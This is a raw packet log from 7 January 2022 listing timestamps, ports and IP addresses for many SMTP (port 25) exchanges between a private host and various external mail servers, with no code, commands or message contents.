Jan 7, 2022 15:43:01.669298887 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669323921 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669357061 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669390917 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669424057 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669457912 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669491053 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669524908 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669549942 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669574022 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669599056 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669630051 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669660091 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669683933 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669715881 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669740915 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669763088 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669789076 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.684454918 CET	25	49785	74.208.5.22	192.168.2.6
Jan 7, 2022 15:43:01.684572935 CET	49785	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:43:01.691649914 CET	25	49783	74.208.5.20	192.168.2.6
Jan 7, 2022 15:43:01.756145000 CET	25	49782	98.136.96.77	192.168.2.6
Jan 7, 2022 15:43:01.756249905 CET	25	49782	98.136.96.77	192.168.2.6
Jan 7, 2022 15:43:01.756279945 CET	49782	25	192.168.2.6	98.136.96.77
Jan 7, 2022 15:43:01.756318092 CET	49782	25	192.168.2.6	98.136.96.77
Jan 7, 2022 15:43:01.756323099 CET	49782	25	192.168.2.6	98.136.96.77
Jan 7, 2022 15:43:01.756592989 CET	49786	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:43:01.824506998 CET	25	49785	74.208.5.22	192.168.2.6
Jan 7, 2022 15:43:01.824539900 CET	25	49785	74.208.5.22	192.168.2.6
Jan 7, 2022 15:43:01.824662924 CET	49785	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:43:01.824717045 CET	49785	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:43:01.881731987 CET	25	49782	98.136.96.77	192.168.2.6
Jan 7, 2022 15:43:01.891753912 CET	49787	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:43:01.926037073 CET	25	49786	67.195.228.106	192.168.2.6
Jan 7, 2022 15:43:01.926156044 CET	49786	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:43:01.933793068 CET	25	49787	194.152.32.72	192.168.2.6
Jan 7, 2022 15:43:01.933912992 CET	49787	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:43:01.943571091 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.963046074 CET	25	49785	74.208.5.22	192.168.2.6
Jan 7, 2022 15:43:01.970182896 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.970288992 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.970355988 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.975910902 CET	25	49787	194.152.32.72	192.168.2.6
Jan 7, 2022 15:43:01.976022959 CET	49787	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:43:01.996946096 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.996975899 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.997064114 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.997272015 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.017995119 CET	25	49787	194.152.32.72	192.168.2.6
Jan 7, 2022 15:43:02.018028021 CET	25	49787	194.152.32.72	192.168.2.6
Jan 7, 2022 15:43:02.018150091 CET	49787	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:43:02.023684978 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.023772955 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.023802042 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.023819923 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.023870945 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.050549030 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.050570011 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.050585032 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.050600052 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.050614119 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.050626993 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.050632954 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.050653934 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.059864998 CET	25	49787	194.152.32.72	192.168.2.6
Jan 7, 2022 15:43:02.059884071 CET	25	49787	194.152.32.72	192.168.2.6
Jan 7, 2022 15:43:02.060025930 CET	49787	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:43:02.077143908 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.077172041 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.077323914 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.077425957 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.077903032 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.101826906 CET	25	49787	194.152.32.72	192.168.2.6
Jan 7, 2022 15:43:02.101933002 CET	25	49787	194.152.32.72	192.168.2.6
Jan 7, 2022 15:43:02.102201939 CET	49787	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:43:02.102231026 CET	49787	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:43:02.102647066 CET	49788	25	192.168.2.6	194.152.32.75
Jan 7, 2022 15:43:02.104615927 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104645967 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104664087 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104687929 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104728937 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104748964 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.104757071 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104784012 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104798079 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.104815006 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104846001 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.104867935 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104911089 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104918957 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.104938984 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.104981899 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.105000973 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.105027914 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.105072021 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.105112076 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.105153084 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.105182886 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.105209112 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.105235100 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.105241060 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.105263948 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.105279922 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.105321884 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.131869078 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.131906986 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.131926060 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.131953955 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.131980896 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.131988049 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132006884 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132036924 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132056952 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132066965 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132118940 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132144928 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132169962 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132179022 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132210970 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132230043 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132247925 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132266045 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132287025 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132303953 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132333040 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132349968 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132462978 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132503033 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132544041 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132549047 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132570982 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132586956 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132592916 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132627010 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132664919 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132704020 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132730007 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132735968 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132829905 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132885933 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132903099 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132941008 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132956982 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132970095 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.132983923 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.132997990 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.133017063 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.133037090 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.133054972 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.133161068 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.144185066 CET	25	49787	194.152.32.72	192.168.2.6
Jan 7, 2022 15:43:02.144233942 CET	25	49787	194.152.32.72	192.168.2.6
Jan 7, 2022 15:43:02.144290924 CET	49787	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:43:02.144324064 CET	49787	25	192.168.2.6	194.152.32.72
Jan 7, 2022 15:43:02.144493103 CET	25	49788	194.152.32.75	192.168.2.6
Jan 7, 2022 15:43:02.144718885 CET	49788	25	192.168.2.6	194.152.32.75
Jan 7, 2022 15:43:02.150643110 CET	25	49786	67.195.228.106	192.168.2.6
Jan 7, 2022 15:43:02.150748014 CET	49786	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:43:02.158649921 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.158735991 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.158780098 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.158816099 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.158826113 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.158829927 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.158859968 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159260988 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159298897 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159326077 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159481049 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159497023 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159517050 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159538031 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159565926 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159576893 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159610987 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159625053 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159687042 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159703970 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159734011 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159769058 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159769058 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159785986 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159800053 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159801960 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159811020 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159912109 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159928083 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159955978 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.159966946 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.159991026 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.160007954 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.160157919 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160173893 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160212040 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.160212994 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160243988 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.160276890 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.160324097 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160340071 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160355091 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160355091 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.160370111 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.160370111 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160387039 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.160388947 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160520077 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160604954 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160619974 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160706997 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160717964 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160765886 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.160974026 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161057949 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161073923 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161087990 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161103010 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161164999 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161212921 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161331892 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161349058 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161362886 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161473036 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161600113 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161653996 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161775112 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161788940 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161830902 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161973000 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.161988974 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162044048 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162132025 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162146091 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162204027 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162286043 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162337065 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162353992 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162364006 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162409067 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162491083 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162534952 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162559032 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162569046 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162594080 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162687063 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162702084 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.162972927 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163088083 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163130045 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163168907 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163204908 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163244009 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163275957 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163310051 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163340092 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163367033 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163423061 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.163453102 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.182215929 CET	49789	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.185357094 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.185384035 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.185409069 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.185431957 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.185455084 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.185805082 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.185828924 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.185992002 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186022997 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186047077 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186069965 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186093092 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186191082 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186216116 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186259031 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186284065 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186369896 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186395884 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186419010 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186444044 CET	25	49788	194.152.32.75	192.168.2.6
Jan 7, 2022 15:43:02.186466932 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186489105 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186512947 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186533928 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186554909 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186569929 CET	49788	25	192.168.2.6	194.152.32.75
Jan 7, 2022 15:43:02.186577082 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186599016 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186809063 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186832905 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186853886 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186876059 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186901093 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186923027 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186948061 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186970949 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.186994076 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.187016964 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.187602997 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.187639952 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.202964067 CET	25	49789	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.203170061 CET	49789	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.214168072 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.219207048 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.228193998 CET	25	49788	194.152.32.75	192.168.2.6
Jan 7, 2022 15:43:02.228256941 CET	25	49788	194.152.32.75	192.168.2.6
Jan 7, 2022 15:43:02.228380919 CET	49788	25	192.168.2.6	194.152.32.75
Jan 7, 2022 15:43:02.266221046 CET	49790	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.270085096 CET	25	49788	194.152.32.75	192.168.2.6
Jan 7, 2022 15:43:02.270260096 CET	25	49788	194.152.32.75	192.168.2.6
Jan 7, 2022 15:43:02.270354033 CET	49788	25	192.168.2.6	194.152.32.75
Jan 7, 2022 15:43:02.272931099 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:02.273005962 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:02.312362909 CET	25	49788	194.152.32.75	192.168.2.6
Jan 7, 2022 15:43:02.312387943 CET	25	49788	194.152.32.75	192.168.2.6
Jan 7, 2022 15:43:02.312486887 CET	49788	25	192.168.2.6	194.152.32.75
Jan 7, 2022 15:43:02.312539101 CET	49788	25	192.168.2.6	194.152.32.75
Jan 7, 2022 15:43:02.318883896 CET	25	49789	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.319165945 CET	49789	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.319838047 CET	25	49786	67.195.228.106	192.168.2.6
Jan 7, 2022 15:43:02.319895983 CET	25	49786	67.195.228.106	192.168.2.6
Jan 7, 2022 15:43:02.320096970 CET	49786	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:43:02.326730013 CET	49791	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.339955091 CET	25	49789	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.339976072 CET	25	49789	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.340114117 CET	49789	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.354275942 CET	25	49788	194.152.32.75	192.168.2.6
Jan 7, 2022 15:43:02.354304075 CET	25	49788	194.152.32.75	192.168.2.6
Jan 7, 2022 15:43:02.354391098 CET	49788	25	192.168.2.6	194.152.32.75
Jan 7, 2022 15:43:02.354451895 CET	49788	25	192.168.2.6	194.152.32.75
Jan 7, 2022 15:43:02.378772020 CET	25	49789	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.378937006 CET	49789	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.379273891 CET	49789	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.397391081 CET	25	49790	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.397520065 CET	49790	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.399913073 CET	25	49789	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.400028944 CET	49789	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.400322914 CET	25	49789	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.400422096 CET	49789	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.420922995 CET	49792	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:43:02.457900047 CET	25	49791	104.47.56.33	192.168.2.6
